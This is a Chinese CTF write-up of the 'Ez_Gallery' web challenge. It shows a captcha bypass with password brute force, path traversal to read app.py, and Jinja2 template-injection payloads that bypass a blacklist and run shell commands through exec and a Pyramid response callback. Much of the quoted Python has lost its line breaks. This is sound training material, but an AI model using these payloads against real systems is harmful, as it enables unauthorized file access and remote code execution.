当前位置: 首页 > news >正文

CTF-WEB: 目录穿越与模板注入 [第一届国城杯 Ez_Gallery ] 赛后学习笔记

step1

验证码处存在逻辑漏洞,只要不申请刷新验证码就一直有效

字典爆破得到 admin:123456

step2

/info?file=../../../proc/self/cmdline

获得

python/app/app.py

经尝试,读取存在的目录时会返回

A server error occurred.  Please contact the administrator.
/info?file=../../../root/python

尝试读取

/info?file=../../../root/python/app/app.py

失败

/info?file=../../app.py

成功

import jinja2  # 导入jinja2模板引擎
from pyramid.config import Configurator  # 从pyramid框架导入Configurator,用于配置应用
from pyramid.httpexceptions import HTTPFound  # 用于HTTP重定向
from pyramid.response import Response  # 用于生成HTTP响应
from pyramid.session import SignedCookieSessionFactory  # 用于管理会话的签名Cookie会话工厂
from wsgiref.simple_server import make_server  # 从wsgiref库导入简单服务器
from Captcha import captcha_image_view, captcha_store  # 导入验证码视图和存储模块
import re  # 正则表达式模块
import os  # 操作系统模块class User:def __init__(self, username, password):self.username = usernameself.password = password# 用户信息存储,默认存储一个admin用户
users = {"admin": User("admin", "123456")}def root_view(request):# 重定向到 /loginreturn HTTPFound(location='/login')def info_view(request):# 查看细节内容if request.session.get('username') != 'admin':return Response("请先登录", status=403)  # 检查用户是否登录file_name = request.params.get('file')file_base, file_extension = os.path.splitext(file_name)if file_name:file_path = os.path.join('/app/static/details/', file_name)try:with open(file_path, 'r', encoding='utf-8') as f:content = f.read()  # 读取文件内容print(content)except FileNotFoundError:content = "文件未找到。"  # 文件未找到处理else:content = "未提供文件名。"  # 未提供文件名处理return {'file_name': file_name, 'content': content, 'file_base': file_base}def home_view(request):# 主路由if request.session.get('username') != 'admin':return Response("请先登录", status=403)  # 检查用户是否登录detailtxt = os.listdir('/app/static/details/')picture_list = [i[:i.index('.')] for i in detailtxt]file_contents =    for picture in picture_list:with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:file_contents[picture] = f.read(80)  # 读取文件内容的前80个字符return {'picture_list': picture_list, 'file_contents': file_contents}def login_view(request):if request.method == 'POST':username = request.POST.get('username')password = request.POST.get('password')user_captcha = request.POST.get('captcha', '').upper()if user_captcha != captcha_store.get('captcha_text', ''):return Response("验证码错误,请重试。")  # 验证码错误处理user = users.get(username)if user and user.password == password:request.session['username'] = usernamereturn Response("登录成功!<a href='/home'>点击进入主页</a>")  # 登录成功处理else:return Response("用户名或密码错误。")  # 用户名或密码错误处理returndef shell_view(request):if request.session.get('username') != 'admin':return Response("请先登录", status=403)  # 检查用户是否登录expression = request.GET.get('shellcmd', '')blacklist_patterns = [r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*']if any(re.search(pattern, expression) for pattern in blacklist_patterns):return Response('wafwafwaf')  # 检查表达式是否包含黑名单中的模式try:result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})if result != None:return Response('success')  # 成功执行表达式else:return Response('error')  # 处理错误except Exception as e:return Response('error')  # 处理异常def main():session_factory = SignedCookieSessionFactory('secret_key')with Configurator(session_factory=session_factory) as config:config.include('pyramid_chameleon')  # 添加渲染模板config.add_static_view(name='static', path='/app/static')config.set_default_permission('view')  # 设置默认权限为view# 注册路由config.add_route('root', '/')config.add_route('captcha', '/captcha')config.add_route('home', '/home')config.add_route('info', '/info')config.add_route('login', '/login')config.add_route('shell', '/shell')# 注册视图config.add_view(root_view, route_name='root')config.add_view(captcha_image_view, route_name='captcha')config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')config.add_view(login_view, route_name='login', renderer='login.pt')config.add_view(shell_view, route_name='shell', renderer='string', permission='view')config.scan()app = config.make_wsgi_app()return appif __name__ == "__main__":app = main()server = make_server('0.0.0.0', 6543, app)server.serve_forever()  # 启动服务器

step 3

模板注入

from pyramid.config import Configurator  
from pyramid.response import Response  
from pyramid.view import view_config  
from wsgiref.simple_server import make_server  @view_config(route_name='home')  
def my_view(request):  # 获取查询参数  name = request.GET.get('name', '1')  # 默认值 '1'    age = request.GET.get('age', '2')  # 默认值 '2'  # 返回响应  return Response(f'Hello, {name}! You are {age} years old.')  if __name__ == '__main__':  with Configurator() as config:  config.add_route('home', '/')  config.scan()  app = config.make_wsgi_app()  server = make_server('0.0.0.0', 6543, app)  print("Serving on http://localhost:6543")  server.serve_forever()
/shell?shellcmd={{lipsum["__globals__"]["os"]["popen"](request['GET']['get']('input'))["read"]()}}&input=sleep(100)

不报错但是不成功

/shell?shellcmd={{cycler["__init__"]["__globals__"]["os"]["popen"](request['GET']['get']('input'))["read"]()}}&input=sleep(100)

依然不报错不成成功

用法钩子改返回

from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):from flask import make_responser = make_response('Powned')return r
/shell?shellcmd={{cycler['__init__']['__globals__']['__builtins__']['exec'](request['GET']['get']('input'))}}&input=1

这个不行

/shell?shellcmd={{cycler['__init__']['__globals__']['__builtins__']['exec']("@after_this_request%0Adef%20hook(*args,%20**kwargs):%0A%20%20%20%20from%20flask%20import%20make_response%0A%20%20%20%20r%20=%20make_response('Powned')%0A%20%20%20%20return%20r")}}

这个行了

/shell?shellcmd={{cycler[%27__init__%27][%27__globals__%27][%27__builtins__%27][%27exec%27](request[%27GET%27][%27get%27](%27input%27))}}&input=from%20time%20import%20sleep%0D%0Asleep(10)

后面的是看wp之后写的

from pyramid.response import Response  # 用于生成HTTP响应

针对flask 的 make_response 无效

百度pyramid.response hook

## [Using **Hooks** — The **Pyramid** Web Framework v2.0.2 - Pylons …](https://docs.pylonsproject.org/projects/pyramid/en/latest/narr/hooks.html)2023年8月25日 · By default, an instance of the pyramid.response.Response class is created to represent the response object. The factory that Pyramid uses to create a response object …

虽然能直接抄wp,但是可以研究一下,这里看到一个

使用 Hook — Pyramid Web 应用程序开发框架 v1.4.9

## 更改 Not Found 视图[¶](https://docs.pylonsproject.org/projects/pyramid/en/latest/narr/hooks.html#changing-the-not-found-view "Link to this heading")当 Pyramid 无法映射 URL 以查看代码时,它会调用 [Not Found View](https://docs.pylonsproject.org/projects/pyramid/en/latest/glossary.html#term-Not-Found-View),这是一个[可调用的视图](https://docs.pylonsproject.org/projects/pyramid/en/latest/glossary.html#term-view-callable)。默认的 Not Found View 可以是 通过应用程序配置覆盖。
from pyramid.view import notfound_view_config@notfound_view_config()
def notfound(request):return Response('Not Found, dude', status='404 Not Found')
/shell?shellcmd={{cycler[%27__init__%27][%27__globals__%27][%27__builtins__%27][%27exec%27](request[%27GET%27][%27get%27](%27input%27))}}&input=from%20pyramid.view%20import%20notfound_view_config%0A%0A@notfound_view_config()%0Adef%20notfound(request):%0A%20%20%20%20return%20Response(%27Not%20Found,%20dude%27,%20status=%27404 Not Found%27)

没用,应该是生命周期不够

def cache_callback(request, response):"""Set the cache_control max_age for the response"""if request.exception is not None:response.cache_control.max_age = 360
request.add_response_callback(cache_callback)
{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')(lambda request,response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('ls'),'read')()))",{'request': request})}}

exec() 函数

exec() 函数是 Python 的内置函数,它用于动态执行 Python 代码。你可以将一段 Python 代码(字符串形式)传给 exec(),然后它会执行这段代码。exec() 的基本语法如下:

exec(code, globals, locals)
  • code:要执行的代码(字符串形式)。
  • globalslocals(可选):可以传入字典来指定全局和局部的命名空间,这样可以控制代码执行时的作用域。

globals

x = 10
y = 20def my_function():print(globals())  # 打印当前的全局命名空间my_function()
# {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000024FAFBF5490>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'G:\\ProgramData\\projects\\pycharm\\web_server\\app.py', '__cached__': None, 'x': 10, 'y': 20, 'my_function': <function my_function at 0x0000024FAFD674C0>}

{'request': request}request 变量传递给代码中的作用域

exec("print(globals()),print(f'a->{a}')", {"a": "this is globals"})
{'a': 'this is globals', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThis module is not normally accessed explicitly by most\napplications, but can be useful in modules that provide\nobjects with the same name as a built-in value, but in\nwhich the built-in of that name is also needed.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'BaseExceptionGroup': <class 'BaseExceptionGroup'>, 'Exception': <class 'Exception'>, 'GeneratorExit': <class 'GeneratorExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'SystemExit': <class 'SystemExit'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BufferError': <class 'BufferError'>, 'EOFError': <class 'EOFError'>, 'ImportError': <class 'ImportError'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'OSError': <class 'OSError'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SystemError': <class 'SystemError'>, 'TypeError': <class 'TypeError'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionError': <class 'ConnectionError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'InterruptedError': <class 'InterruptedError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'RecursionError': <class 'RecursionError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeError': <class 'UnicodeError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'TabError': <class 'TabError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ExceptionGroup': <class 'ExceptionGroup'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'WindowsError': <class 'OSError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-Z plus Return to exit, 'exit': Use exit() or Ctrl-Z plus Return to exit, 'copyright': Copyright (c) 2001-2023 Python Software Foundation.
All Rights Reserved.Copyright (c) 2000 BeOpen.com.
All Rights Reserved.Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'credits':     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousandsfor supporting Python development.  See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}}
a->this is globals
http://www.lryc.cn/news/503077.html

相关文章:

  • 数据结构6.4——归并排序
  • 【html 常用MIME类型列表】
  • Linux之vim编辑器
  • 【工具介绍】可以批量查看LableMe标注的图像文件信息~
  • 2024年山西省第十八届职业院校技能大赛 (高职组)“信息安全管理与评估”赛项规程
  • STM32完全学习——STemWin的移植小插曲
  • Java——IO流(下)
  • avue-crud 同时使用 column 与 group 的问题
  • 深入解析 Pytest 中的 conftest.py:测试配置与复用的利器
  • JAVA |日常开发中Websocket详解
  • Typora教程
  • 泛微E9常见API保姆级详解!!!!
  • UniApp配置使用原子化tailwindcss
  • 02. Docker:安装和操作
  • 【MySQL中多表查询和函数】
  • 加速科技精彩亮相ICCAD 2024
  • 免费下载 | 2024算网融合技术与产业白皮书
  • Ubuntu系统下部署大语言模型:Ollama和OpenWebUI实现各大模型的人工智能自由
  • 基于Mybatis,MybatisPlus实现数据库查询分页功能
  • 【razor】echo搭配relay功能分析
  • 技术文档的定义和规范,以及技术文档模板参考
  • 基于windows环境使用nvm安装多版本nodejs
  • 力扣9. 回文数
  • C#—BitArray点阵列
  • 国产自主可控新征程:华为原生鸿蒙系统与鲲鹏认证
  • esxi8 虚拟机使用ubuntu22模板后 没有ip配置文件,只有ipv6链接正常使用
  • 【Qualcomm】IPQ5018查看连接终端RSSI、SNR、NF方法
  • 【构建工具】现代开发的重要角色
  • 【Linux系统】—— 初识 shell 与 Linux 中的用户
  • 二维码数据集,使用yolov,voc,coco标注,3044张各种二维码原始图片(未图像增强)